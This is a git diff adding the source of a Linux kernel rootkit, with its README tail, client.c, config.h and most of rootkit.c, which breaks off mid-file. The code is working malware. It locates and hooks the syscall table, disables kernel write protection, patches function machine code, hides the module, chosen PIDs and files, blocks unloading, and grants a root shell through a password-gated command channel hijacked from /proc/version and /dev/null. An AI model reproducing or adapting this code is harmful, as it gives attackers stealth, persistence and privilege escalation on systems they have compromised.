+```sh +$ ./client --help +Usage: ./client [OPTION]... + +Options: + --root-shell Grants you root shell access. + --hide-pid=PID Hides the specified PID. + --unhide-pid=PID Unhides the specified PID. + --hide-file=FILENAME Hides the specified FILENAME globally. + Must be a filename without any path. + --unhide-file=FILENAME Unhides the specified FILENAME. + --hide Hides the rootkit LKM. + --unhide Unhides the rootkit LKM. + --help Print this help message. + --protect Protects the rootkit from rmmod. + --unprotect Disables the rmmod protection. +``` + +Unload rootkit: + +```sh +./client --unhide +./client --unprotect +rmmod rootkit.ko +``` + +## YOU ARE OUT OF YOUR MIND TO PUBLICY RELEASE SUCH MALICIOUS CODE ONLINE, YOU ARE LITERALLY ARMING SCRIPT KIDDIES WITH NUKES!!!1 +Not really, there are many articles online on how to write a Linux rootkit with the full source code provided, not to mention the countless GitHub repositories. + +## References +The following materials were used in writing this rootkit: + +- [Linux kernel code](http://lxr.free-electrons.com) +- [Linux kernel documentation](https://www.kernel.org/doc/) +- [Linux Loadable Kernel Module HOWTO](http://www.tldp.org/HOWTO/html_single/Module-HOWTO/) +- [WRITING A SIMPLE ROOTKIT FOR LINUX](https://web.archive.org/web/20180609141026/https://w3.cs.jmu.edu/kirkpams/550-f12/papers/linux_rootkit.pdf) +- [Modern Linux Rootkits 101](http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html) +- [Writing Modern Linux Rootkits 201 - VFS](http://turbochaos.blogspot.com/2013/10/writing-linux-rootkits-201-23.html) +- [Linux Kernel Module example. Rickroll prank.](https://web.archive.org/web/20170218150045/http://maitesin.github.io/Module_prank/) + +## License +This project is licensed under [GPLv2](LICENSE). diff --git a/Linux/Rootkits/Nurupo Rootkit/client.c b/Linux/Rootkits/Nurupo Rootkit/client.c new file mode 100644 index 0000000..11bf4e9 --- /dev/null +++ b/Linux/Rootkits/Nurupo Rootkit/client.c @@ -0,0 +1,261 @@ +/* + * Copyright (C) 2016-2017 Maxim Biro + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include +#include +#include + +#include +#include +#include + +#include "config.h" + +void print_help(char **argv) +{ + printf( + "Usage: %s [OPTION]...\n" + "\n" + "Options:\n" + " --root-shell Grants you root shell access.\n" + " --hide-pid=PID Hides the specified PID.\n" + " --unhide-pid=PID Unhides the specified PID.\n" + " --hide-file=FILENAME Hides the specified FILENAME globally.\n" + " Must be a filename without any path.\n" + " --unhide-file=FILENAME Unhides the specified FILENAME.\n" + " --hide Hides the rootkit LKM.\n" + " --unhide Unhides the rootkit LKM.\n" + " --help Print this help message.\n" + " --protect Protects the rootkit from rmmod.\n" + " --unprotect Disables the rmmod protection.\n\n", argv[0]); +} + +void handle_command_line_arguments(int argc, char **argv, int *root, int *hide_pid, + int *unhide_pid, char **pid, int *hide_file, + int *unhide_file, char **file, int *hide, + int *unhide, int *protect, int *unprotect) +{ + if (argc < 2) { + fprintf(stderr, "Error: No arguments provided.\n\n"); + print_help(argv); + exit(1); + } + + opterr = 0; + + static struct option long_options[] = { + {"root-shell", no_argument, 0, 'a'}, + {"hide-pid", required_argument, 0, 'b'}, + {"unhide-pid", required_argument, 0, 'c'}, + {"hide-file", required_argument, 0, 'd'}, + {"unhide-file", required_argument, 0, 'e'}, + {"hide", no_argument, 0, 'f'}, + {"unhide", no_argument, 0, 'g'}, + {"help", no_argument, 0, 'h'}, + {"protect", no_argument, 0, 'i'}, + {"unprotect", no_argument, 0, 'j'}, + {0, 0, 0, 0 } + }; + + *root = 0; + *hide_pid = 0; + *unhide_pid = 0; + *pid = NULL; + *hide_file = 0; + *unhide_file = 0; + *file = NULL; + *hide = 0; + *unhide = 0; + *protect = 0; + *unprotect = 0; + + int opt; + + while ((opt = getopt_long(argc, argv, ":", long_options, NULL)) != -1) { + + switch (opt) { + + case 'a': + *root = 1; + break; + + case 'b': + *hide_pid = 1; + *pid = optarg; + break; + + case 'c': + *unhide_pid = 1; + *pid = optarg; + break; + + case 'd': + *hide_file = 1; + *file = optarg; + break; + + case 'e': + *unhide_file = 1; + *file = optarg; + break; + + case 'f': + *hide = 1; + break; + + case 'g': + *unhide = 1; + break; + + case 'h': + print_help(argv); + exit(0); + + case 'i': + *protect = 1; + break; + + case 'j': + *unprotect = 1; + break; + + case '?': + fprintf(stderr, "Error: Unrecognized option %s\n\n", argv[optind - 1]); + print_help(argv); + exit(1); + + case ':': + fprintf(stderr, "Error: No argument provided for option %s\n\n", argv[optind - 1]); + print_help(argv); + exit(1); + } + } + + if ((*root + *hide_pid + *unhide_pid + *hide_file + *unhide_file + *hide + + *unhide + *protect + *unprotect) != 1) { + fprintf(stderr, "Error: Exactly one option should be specified\n\n"); + print_help(argv); + exit(1); + } +} + +void write_buffer(char **dest_ptr, char *src, size_t size) +{ + memcpy(*dest_ptr, src, size); + *dest_ptr += size; +} + +int main(int argc, char **argv) +{ + int root; + int hide_pid; + int unhide_pid; + char *pid; + int hide_file; + int unhide_file; + char *file; + int hide; + int unhide; + int protect; + int unprotect; + + handle_command_line_arguments(argc, argv, &root, &hide_pid, &unhide_pid, &pid, + &hide_file, &unhide_file, &file, &hide, &unhide, + &protect, &unprotect); + + size_t buf_size = 0; + + buf_size += sizeof(CFG_PASS); + + if (root) { + buf_size += sizeof(CFG_ROOT); + } else if (hide_pid) { + buf_size += sizeof(CFG_HIDE_PID) + strlen(pid); + } else if (unhide_pid) { + buf_size += sizeof(CFG_UNHIDE_PID) + strlen(pid); + } else if (hide_file) { + buf_size += sizeof(CFG_HIDE_FILE) + strlen(file); + } else if (unhide_file) { + buf_size += sizeof(CFG_UNHIDE_FILE) + strlen(file); + } else if (hide) { + buf_size += sizeof(CFG_HIDE); + } else if (unhide) { + buf_size += sizeof(CFG_UNHIDE); + } else if (protect) { + buf_size += sizeof(CFG_PROTECT); + } else if (unprotect) { + buf_size += sizeof(CFG_UNPROTECT); + } + + buf_size += 1; // for null terminator + + char *buf = malloc(buf_size); + buf[buf_size - 1] = 0; + + char *buf_ptr = buf; + + write_buffer(&buf_ptr, CFG_PASS, sizeof(CFG_PASS)); + + if (root) { + write_buffer(&buf_ptr, CFG_ROOT, sizeof(CFG_ROOT)); + } else if (hide_pid) { + write_buffer(&buf_ptr, CFG_HIDE_PID, sizeof(CFG_HIDE_PID)); + write_buffer(&buf_ptr, pid, strlen(pid)); + } else if (unhide_pid) { + write_buffer(&buf_ptr, CFG_UNHIDE_PID, sizeof(CFG_UNHIDE_PID)); + write_buffer(&buf_ptr, pid, strlen(pid)); + } else if (hide_file) { + write_buffer(&buf_ptr, CFG_HIDE_FILE, sizeof(CFG_HIDE_FILE)); + write_buffer(&buf_ptr, file, strlen(file)); + } else if (unhide_file) { + write_buffer(&buf_ptr, CFG_UNHIDE_FILE, sizeof(CFG_UNHIDE_FILE)); + write_buffer(&buf_ptr, file, strlen(file)); + } else if (hide) { + write_buffer(&buf_ptr, CFG_HIDE, sizeof(CFG_HIDE)); + } else if (unhide) { + write_buffer(&buf_ptr, CFG_UNHIDE, sizeof(CFG_UNHIDE)); + } else if (protect) { + write_buffer(&buf_ptr, CFG_PROTECT, sizeof(CFG_PROTECT)); + } else if (unprotect) { + write_buffer(&buf_ptr, CFG_UNPROTECT, sizeof(CFG_UNPROTECT)); + } + + int fd = open("/proc/" CFG_PROC_FILE, O_RDONLY); + + if (fd < 1) { + int fd = open("/proc/" CFG_PROC_FILE, O_WRONLY); + + if (fd < 1) { + fprintf(stderr, "Error: Failed to open %s\n", "/proc/" CFG_PROC_FILE); + return 1; + } + + write(fd, buf, buf_size); + } else { + read(fd, buf, buf_size); + } + + close(fd); + free(buf); + + if (root) { + execl("/bin/bash", "bash", NULL); + } + + return 0; +} diff --git a/Linux/Rootkits/Nurupo Rootkit/config.h b/Linux/Rootkits/Nurupo Rootkit/config.h new file mode 100644 index 0000000..d30b371 --- /dev/null +++ b/Linux/Rootkits/Nurupo Rootkit/config.h @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2016-2017 Maxim Biro + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#define CFG_PROC_FILE "version" +#define CFG_PASS "password" +#define CFG_ROOT "root" +#define CFG_HIDE_PID "hide_pid" +#define CFG_UNHIDE_PID "unhide_pid" +#define CFG_HIDE_FILE "hide_file" +#define CFG_UNHIDE_FILE "unhide_file" +#define CFG_HIDE "hide" +#define CFG_UNHIDE "unhide" +#define CFG_PROTECT "protect" +#define CFG_UNPROTECT "unprotect" diff --git a/Linux/Rootkits/Nurupo Rootkit/rootkit.c b/Linux/Rootkits/Nurupo Rootkit/rootkit.c new file mode 100644 index 0000000..b3994a9 --- /dev/null +++ b/Linux/Rootkits/Nurupo Rootkit/rootkit.c @@ -0,0 +1,1001 @@ +/* + * Copyright (C) 2016-2019 Maxim Biro + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) && \ + LINUX_VERSION_CODE < KERNEL_VERSION(4, 5, 0) + +// Copy-pasted from Linux sources as it's not provided in public headers +// of newer Linux. +// Might differ from one version of Linux kernel to another, so update as +// necessary. +// http://lxr.free-electrons.com/source/fs/proc/internal.h?v=4.4#L31 +struct proc_dir_entry { + unsigned int low_ino; + umode_t mode; + nlink_t nlink; + kuid_t uid; + kgid_t gid; + loff_t size; + const struct inode_operations *proc_iops; + const struct file_operations *proc_fops; + struct proc_dir_entry *parent; + struct rb_root subdir; + struct rb_node subdir_node; + void *data; + atomic_t count; /* use count */ + atomic_t in_use; /* number of callers into module in progress; */ + /* negative -> it's going away RSN */ + struct completion *pde_unload_completion; + struct list_head pde_openers; /* who did ->open, but not ->release */ + spinlock_t pde_unload_lock; /* proc_fops checks and pde_users bumps */ + u8 namelen; + char name[]; +}; + +#endif + +#include "config.h" + +#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Maxim Biro "); + + +#define ARCH_ERROR_MESSAGE "Only i386 and x86_64 architectures are supported! " \ + "It should be easy to port to new architectures though" + +#define DISABLE_W_PROTECTED_MEMORY \ + do { \ + preempt_disable(); \ + write_cr0(read_cr0() & (~ 0x10000)); \ + } while (0); +#define ENABLE_W_PROTECTED_MEMORY \ + do { \ + preempt_enable(); \ + write_cr0(read_cr0() | 0x10000); \ + } while (0); + + +// ========== SYS_CALL_TABLE ========== + + +#if defined __i386__ + #define START_ADDRESS 0xc0000000 + #define END_ADDRESS 0xd0000000 +#elif defined __x86_64__ + #define START_ADDRESS 0xffffffff81000000 + #define END_ADDRESS 0xffffffffa2000000 +#else + #error ARCH_ERROR_MESSAGE +#endif + +void **sys_call_table; + +/** + * Finds a system call table based on a heruistic. + * Note that the heruistic is not ideal, so it might find a memory region that + * looks like a system call table but is not actually a system call table, but + * it seems to work all the time on my systems. + * + * @return system call table on success, NULL on failure. + */ +void **find_syscall_table(void) +{ + void **sctable; + void *i = (void*) START_ADDRESS; + + while (i < END_ADDRESS) { + sctable = (void **) i; + + // sadly only sys_close seems to be exported -- we can't check against more system calls + if (sctable[__NR_close] == (void *) sys_close) { + size_t j; + // we expect there to be at least 300 system calls + const unsigned int SYS_CALL_NUM = 300; + // sanity check: no function pointer in the system call table should be NULL + for (j = 0; j < SYS_CALL_NUM; j ++) { + if (sctable[j] == NULL) { + // this is not a system call table + goto skip; + } + } + return sctable; + } +skip: + ; + i += sizeof(void *); + } + + return NULL; +} + + +// ========== END SYS_CALL_TABLE ========== + + +// ========== HOOK LIST ========== + + +struct hook { + void *original_function; + void *modified_function; + void **modified_at_address; + struct list_head list; +}; + +LIST_HEAD(hook_list); + +/** + * Replaces a function pointer at some address with a new function pointer, + * keeping record of the original function pointer so that it could be + * restored later. + * + * @param modified_at_address Pointer to the address of where the function + * pointer that we want to replace is stored. The same address would be used + * when restoring the original funcion pointer back, so make sure it doesn't + * become invalid by the time you try to restore it back. + * + * @param modified_function Function pointer that we want to replace the + * original function pointer with. + * + * @return true on success, false on failure. + */ +int hook_create(void **modified_at_address, void *modified_function) +{ + struct hook *h = kmalloc(sizeof(struct hook), GFP_KERNEL); + + if (!h) { + return 0; + } + + h->modified_at_address = modified_at_address; + h->modified_function = modified_function; + list_add(&h->list, &hook_list); + + DISABLE_W_PROTECTED_MEMORY + h->original_function = xchg(modified_at_address, modified_function); + ENABLE_W_PROTECTED_MEMORY + + return 1; +} + +/** + * Get original function pointer based on the one we overwrote it with. + * Useful when wanting to call the original function inside a hook. + * + * @param modified_function The function that overwrote the original one. + * @return original function pointer on success, NULL on failure. + */ +void *hook_get_original(void *modified_function) +{ + void *original_function = NULL; + struct hook *h; + + list_for_each_entry(h, &hook_list, list) { + if (h->modified_function == modified_function) { + original_function = h->original_function; + break; + } + } + return original_function; +} + +/** + * Removes all hook records, restores the overwritten function pointers to + * their original value. + */ +void hook_remove_all(void) +{ + struct hook *h, *tmp; + + // make it so that instead of `modified_function` the `original_function` + // would get called again + list_for_each_entry(h, &hook_list, list) { + DISABLE_W_PROTECTED_MEMORY + *h->modified_at_address = h->original_function; + ENABLE_W_PROTECTED_MEMORY + } + // a hack to let the changes made by the loop above propagate, as some + // process might be in the middle of executing our `modified_function` + // which calls the original function inside by getting it from the + // `hook_get_original()` call, which would return NULL if we `list_del()` + // everything, and, well, bad things happen if you try to use NULL as a + // function pointer and call into it. + // to get around this issue we: + // 1. make it so that instead of `modified_function` the + // `original_function` would get called. this is done above. + // 2. sleep hopefully long enough to let all the proesses that are in the + // middle of running `modified_function` to finish running that function + // 3. finally, remove all the elements from the list + msleep(10); + list_for_each_entry_safe(h, tmp, &hook_list, list) { + list_del(&h->list); + kfree(h); + } +} + + +// ========== END HOOK LIST ========== + + +// ========== HOOK EXAMPLES ========== + +unsigned long read_count = 0; + +asmlinkage long read(unsigned int fd, char __user *buf, size_t count) +{ + read_count ++; + + asmlinkage long (*original_read)(unsigned int, char __user *, size_t); + original_read = hook_get_original(read); + return original_read(fd, buf, count); +} + + +unsigned long write_count = 0; + +asmlinkage long write(unsigned int fd, const char __user *buf, size_t count) +{ + write_count ++; + + asmlinkage long (*original_write)(unsigned int, const char __user *, size_t); + original_write = hook_get_original(write); + return original_write(fd, buf, count); +} + + +// ========== END HOOK EXAMPLES ========== + + +// ========== ASM HOOK LIST ========== + +#if defined __i386__ + // push 0x00000000, ret + #define ASM_HOOK_CODE "\x68\x00\x00\x00\x00\xc3" + // byte offset to where to the 0x00000000, to overwrite it with a function pointer + #define ASM_HOOK_CODE_OFFSET 1 + // alternativly we could do `mov eax 0x00000000, jmp eax`, but it's a byte longer + //#define ASM_HOOK_CODE "\xb8\x00\x00\x00\x00\xff\xe0" +#elif defined __x86_64__ + // there is no push that pushes a 64-bit immidiate in x86_64, + // so we do things a bit differently: + // mov rax 0x0000000000000000, jmp rax + #define ASM_HOOK_CODE "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0" + // byte offset to where to the 0x0000000000000000, to overwrite it with a function pointer + #define ASM_HOOK_CODE_OFFSET 2 +#else + #error ARCH_ERROR_MESSAGE +#endif + +struct asm_hook { + void *original_function; + void *modified_function; + char original_asm[sizeof(ASM_HOOK_CODE)-1]; + struct list_head list; +}; + +LIST_HEAD(asm_hook_list); + +/** + * Patches machine code of the original function to call another function. + * This function should not be called directly. + */ +void _asm_hook_patch(struct asm_hook *h) +{ + DISABLE_W_PROTECTED_MEMORY + memcpy(h->original_function, ASM_HOOK_CODE, sizeof(ASM_HOOK_CODE)-1); + *(void **)&((char *)h->original_function)[ASM_HOOK_CODE_OFFSET] = h->modified_function; + ENABLE_W_PROTECTED_MEMORY +} + +/** + * Patches machine code of a function so that it would call our function. + * Keeps record of the original function and its machine code so that it could + * be unpatched and patched again later. + * + * @param original_function Function to patch + * + * @param modified_function Function that should be called + * + * @return true on success, false on failure. + */ +int asm_hook_create(void *original_function, void *modified_function) +{ + struct asm_hook *h = kmalloc(sizeof(struct asm_hook), GFP_KERNEL); + + if (!h) { + return 0; + } + + h->original_function = original_function; + h->modified_function = modified_function; + memcpy(h->original_asm, original_function, sizeof(ASM_HOOK_CODE)-1); + list_add(&h->list, &asm_hook_list); + + _asm_hook_patch(h); + + return 1; +} + +/** + * Patches the original function to call the modified function again. + * + * @param modified_function Function that the original function was patched to + * call in asm_hook_create(). + */ +void asm_hook_patch(void *modified_function) +{ + struct asm_hook *h; + + list_for_each_entry(h, &asm_hook_list, list) { + if (h->modified_function == modified_function) { + _asm_hook_patch(h); + break; + } + } +} + +/** + * Unpatches machine code of the original function, so that it wouldn't call + * our function anymore. + * This function should not be called directly. + */ +void _asm_hook_unpatch(struct asm_hook *h) +{ + DISABLE_W_PROTECTED_MEMORY + memcpy(h->original_function, h->original_asm, sizeof(ASM_HOOK_CODE)-1); + ENABLE_W_PROTECTED_MEMORY +} + +/** + * Unpatches machine code of the original function, so that it wouldn't call + * our function anymore. + * + * @param modified_function Function that the original function was patched to + * call in asm_hook_create(). + */ +void *asm_hook_unpatch(void *modified_function) +{ + void *original_function = NULL; + struct asm_hook *h; + + list_for_each_entry(h, &asm_hook_list, list) { + if (h->modified_function == modified_function) { + _asm_hook_unpatch(h); + original_function = h->original_function; + break; + } + } + + return original_function; +} + +/** + * Removes all hook records, unpatches all functions. + */ +void asm_hook_remove_all(void) +{ + struct asm_hook *h, *tmp; + + list_for_each_entry_safe(h, tmp, &asm_hook_list, list) { + _asm_hook_unpatch(h); + list_del(&h->list); + kfree(h); + } +} + + +// ========== END ASM HOOK LIST ========== + + +// ========== ASM HOOK EXAMPLES ========== + +unsigned long asm_rmdir_count = 0; + +asmlinkage long asm_rmdir(const char __user *pathname) +{ + asm_rmdir_count ++; + + asmlinkage long (*original_rmdir)(const char __user *); + original_rmdir = asm_hook_unpatch(asm_rmdir); + long ret = original_rmdir(pathname); + asm_hook_patch(asm_rmdir); + + return ret; +} + + +// ========== END ASM HOOK EXAMPLES ========== + + +// ========== PID LIST ========== + + +struct pid_entry { + unsigned long pid; + struct list_head list; +}; + +LIST_HEAD(pid_list); + +int pid_add(const char *pid) +{ + struct pid_entry *p = kmalloc(sizeof(struct pid_entry), GFP_KERNEL); + + if (!p) { + return 0; + } + + p->pid = simple_strtoul(pid, NULL, 10); + + list_add(&p->list, &pid_list); + + return 1; +} + +void pid_remove(const char *pid) +{ + struct pid_entry *p, *tmp; + + unsigned long pid_num = simple_strtoul(pid, NULL, 10); + + list_for_each_entry_safe(p, tmp, &pid_list, list) { + if (p->pid == pid_num) { + list_del(&p->list); + kfree(p); + break; + } + } +} + +void pid_remove_all(void) +{ + struct pid_entry *p, *tmp; + + list_for_each_entry_safe(p, tmp, &pid_list, list) { + list_del(&p->list); + kfree(p); + } +} + + +// ========== END PID LIST ========== + + +// ========== FILE LIST ========== + + +struct file_entry { + char *name; + struct list_head list; +}; + +LIST_HEAD(file_list); + +int file_add(const char *name) +{ + struct file_entry *f = kmalloc(sizeof(struct file_entry), GFP_KERNEL); + + if (!f) { + return 0; + } + + size_t name_len = strlen(name) + 1; + + // sanity check as `name` could point to some garbage without null anywhere nearby + if (name_len -1 > NAME_MAX) { + kfree(f); + return 0; + } + + f->name = kmalloc(name_len, GFP_KERNEL); + if (!f->name) { + kfree(f); + return 0; + } + + strncpy(f->name, name, name_len); + + list_add(&f->list, &file_list); + + return 1; +} + +void file_remove(const char *name) +{ + struct file_entry *f, *tmp; + + list_for_each_entry_safe(f, tmp, &file_list, list) { + if (strcmp(f->name, name) == 0) { + list_del(&f->list); + kfree(f->name); + kfree(f); + break; + } + } +} + +void file_remove_all(void) +{ + struct file_entry *f, *tmp; + + list_for_each_entry_safe(f, tmp, &file_list, list) { + list_del(&f->list); + kfree(f->name); + kfree(f); + } +} + + +// ========== END FILE LIST ========== + + +// ========== HIDE ========== + + +struct list_head *module_list; +int is_hidden = 0; + +void hide(void) +{ + if (is_hidden) { + return; + } + + module_list = THIS_MODULE->list.prev; + + list_del(&THIS_MODULE->list); + + is_hidden = 1; +} + + +void unhide(void) +{ + if (!is_hidden) { + return; + } + + list_add(&THIS_MODULE->list, module_list); + + is_hidden = 0; +} + + +// ========== END HIDE ========== + + +// ========== PROTECT ========== + + +int is_protected = 0; + +void protect(void) +{ + if (is_protected) { + return; + } + + try_module_get(THIS_MODULE); + + is_protected = 1; +} + +void unprotect(void) +{ + if (!is_protected) { + return; + } + + module_put(THIS_MODULE); + + is_protected = 0; +} + + +// ========== END PROTECT ========== + + +// ========== READDIR ========== + + +struct file_operations *get_fop(const char *path) +{ + struct file *file; + + if ((file = filp_open(path, O_RDONLY, 0)) == NULL) { + return NULL; + } + + struct file_operations *ret = (struct file_operations *) file->f_op; + filp_close(file, 0); + + return ret; +} + +// Macros to help reduce repeated code where only names differ. +// Decreses risk of "copy-paste & forgot to rename" error. +#define FILLDIR_START(NAME) \ + filldir_t original_##NAME##_filldir; \ + \ + static int NAME##_filldir(void * context, const char *name, int namelen, loff_t offset, u64 ino, unsigned int d_type) \ + { + +#define FILLDIR_END(NAME) \ + return original_##NAME##_filldir(context, name, namelen, offset, ino, d_type); \ + } + + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) && \ + LINUX_VERSION_CODE < KERNEL_VERSION(4, 5, 0) + + #define READDIR(NAME) \ + int NAME##_iterate(struct file *file, struct dir_context *context) \ + { \ + original_##NAME##_filldir = context->actor; \ + *((filldir_t*)&context->actor) = NAME##_filldir; \ + \ + int (*original_iterate)(struct file *, struct dir_context *); \ + original_iterate = asm_hook_unpatch(NAME##_iterate); \ + int ret = original_iterate(file, context); \ + asm_hook_patch(NAME##_iterate); \ + \ + return ret; \ + } + +#elif LINUX_VERSION_CODE == KERNEL_VERSION(2, 6, 32) + + #define READDIR(NAME) \ + int NAME##_readdir(struct file *file, void *dirent, filldir_t filldir) \ + { \ + original_##NAME##_filldir = filldir; \ + \ + int (*original_readdir)(struct file *, void *, filldir_t); \ + original_readdir = asm_hook_unpatch(NAME##_readdir); \ + int ret = original_readdir(file, dirent, NAME##_filldir); \ + asm_hook_patch(NAME##_readdir); \ + \ + return ret; \ + } +#else + +//#error "Wrong Linux kernel version" + +#endif + +// Macros to actually use +#define READDIR_HOOK_START(NAME) FILLDIR_START(NAME) +#define READDIR_HOOK_END(NAME) FILLDIR_END(NAME) READDIR(NAME) + +READDIR_HOOK_START(root) + struct file_entry *f; + + list_for_each_entry(f, &file_list, list) { + if (strcmp(name, f->name) == 0) { + return 0; + } + } +READDIR_HOOK_END(root) + +READDIR_HOOK_START(proc) + struct pid_entry *p; + + list_for_each_entry(p, &pid_list, list) { + if (simple_strtoul(name, NULL, 10) == p->pid) { + return 0; + } + } +READDIR_HOOK_END(proc) + +READDIR_HOOK_START(sys) + if (is_hidden && strcmp(name, KBUILD_MODNAME) == 0) { + return 0; + } +READDIR_HOOK_END(sys) + + +#undef FILLDIR_START +#undef FILLDIR_END +#undef READDIR + +#undef READDIR_HOOK_START +#undef READDIR_HOOK_END + + +// ========== END READDIR ========== + + +int execute_command(const char __user *str, size_t length) +{ + if (length <= sizeof(CFG_PASS) || + strncmp(str, CFG_PASS, sizeof(CFG_PASS)) != 0) { + return 0; + } + + pr_info("Password check passed\n"); + + // since the password matched, we assume the command following the password + // is in the valid format + + str += sizeof(CFG_PASS); + + if (strcmp(str, CFG_ROOT) == 0) { + pr_info("Got root command\n"); + struct cred *creds = prepare_creds(); + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) && \ + LINUX_VERSION_CODE < KERNEL_VERSION(4, 5, 0) + + creds->uid.val = creds->euid.val = 0; + creds->gid.val = creds->egid.val = 0; + +#elif LINUX_VERSION_CODE == KERNEL_VERSION(2, 6, 32) + + creds->uid = creds->euid = 0; + creds->gid = creds->egid = 0; + +#endif + + commit_creds(creds); + } else if (strcmp(str, CFG_HIDE_PID) == 0) { + pr_info("Got hide pid command\n"); + str += sizeof(CFG_HIDE_PID); + pid_add(str); + } else if (strcmp(str, CFG_UNHIDE_PID) == 0) { + pr_info("Got unhide pid command\n"); + str += sizeof(CFG_UNHIDE_PID); + pid_remove(str); + } else if (strcmp(str, CFG_HIDE_FILE) == 0) { + pr_info("Got hide file command\n"); + str += sizeof(CFG_HIDE_FILE); + file_add(str); + } else if (strcmp(str, CFG_UNHIDE_FILE) == 0) { + pr_info("Got unhide file command\n"); + str += sizeof(CFG_UNHIDE_FILE); + file_remove(str); + } else if (strcmp(str, CFG_HIDE) == 0) { + pr_info("Got hide command\n"); + hide(); + } else if (strcmp(str, CFG_UNHIDE) == 0) { + pr_info("Got unhide command\n"); + unhide(); + } else if (strcmp(str, CFG_PROTECT) == 0) { + pr_info("Got protect command\n"); + protect(); + } else if (strcmp(str, CFG_UNPROTECT) == 0) { + pr_info("Got unprotect command\n"); + unprotect(); + } else { + pr_info("Got unknown command\n"); + } + + return 1; +} + + +// ========== COMM CHANNEL ========== + + +static ssize_t proc_fops_write(struct file *file, const char __user *buf_user, size_t count, loff_t *p) +{ + if (execute_command(buf_user, count)) { + return count; + } + + int (*original_write)(struct file *, const char __user *, size_t, loff_t *); + original_write = asm_hook_unpatch(proc_fops_write); + ssize_t ret = original_write(file, buf_user, count, p); + asm_hook_patch(proc_fops_write); + + return ret; +} + +static ssize_t proc_fops_read(struct file *file, char __user *buf_user, size_t count, loff_t *p) +{ + execute_command(buf_user, count); + + int (*original_read)(struct file *, char __user *, size_t, loff_t *); + original_read = asm_hook_unpatch(proc_fops_read); + ssize_t ret = original_read(file, buf_user, count, p); + asm_hook_patch(proc_fops_read); + + return ret; +} + + +int setup_proc_comm_channel(void) +{ + static const struct file_operations proc_file_fops = {0}; + struct proc_dir_entry *proc_entry = proc_create("temporary", 0444, NULL, &proc_file_fops); + proc_entry = proc_entry->parent; + + if (strcmp(proc_entry->name, "/proc") != 0) { + pr_info("Couldn't find \"/proc\" entry\n"); + remove_proc_entry("temporary", NULL); + return 0; + } + + remove_proc_entry("temporary", NULL); + + struct file_operations *proc_fops = NULL; + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) && \ + LINUX_VERSION_CODE < KERNEL_VERSION(4, 5, 0) + + struct rb_node *entry = rb_first(&proc_entry->subdir); + + while (entry) { + pr_info("Looking at \"/proc/%s\"\n", rb_entry(entry, struct proc_dir_entry, subdir_node)->name); + + if (strcmp(rb_entry(entry, struct proc_dir_entry, subdir_node)->name, CFG_PROC_FILE) == 0) { + pr_info("Found \"/proc/%s\"\n", CFG_PROC_FILE); + proc_fops = (struct file_operations *) rb_entry(entry, struct proc_dir_entry, subdir_node)->proc_fops; + goto found; + } + + entry = rb_next(entry); + } + +#elif LINUX_VERSION_CODE == KERNEL_VERSION(2, 6, 32) + + proc_entry = proc_entry->subdir; + + while (proc_entry) { + pr_info("Looking at \"/proc/%s\"\n", proc_entry->name); + + if (strcmp(proc_entry->name, CFG_PROC_FILE) == 0) { + pr_info("Found \"/proc/%s\"\n", CFG_PROC_FILE); + proc_fops = (struct file_operations *) proc_entry->proc_fops; + goto found; + } + + proc_entry = proc_entry->next; + } + +#endif + + pr_info("Couldn't find \"/proc/%s\"\n", CFG_PROC_FILE); + + return 0; + +found: + ; + + if (proc_fops->write) { + asm_hook_create(proc_fops->write, proc_fops_write); + } + + if (proc_fops->read) { + asm_hook_create(proc_fops->read, proc_fops_read); + } + + if (!proc_fops->read && !proc_fops->write) { + pr_info("\"/proc/%s\" has no write nor read function set\n", CFG_PROC_FILE); + return 0; + } + + return 1; +} + + +static ssize_t devnull_fops_write(struct file *file, const char __user *buf_user, size_t count, loff_t *p) +{ + if (execute_command(buf_user, count)) { + return count; + } + + int (*original_write)(struct file *, const char __user *, size_t, loff_t *); + original_write = hook_get_original(devnull_fops_write); + return original_write(file, buf_user, count, p); +} + +int setup_devnull_comm_channel(void) +{ + hook_create(&get_fop("/dev/null")->write, devnull_fops_write); + + return 1; +} + + +// ========== END COMM CHANNEL ========== + + +int init(void) +{ + pr_info("Module loaded\n"); + hide(); + protect(); + + if (!setup_proc_comm_channel()) { + pr_info("Failed to set up comm channel\n"); + unprotect(); + unhide(); + return -1; + } + + pr_info("Comm channel is set up\n"); + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) && \ + LINUX_VERSION_CODE < 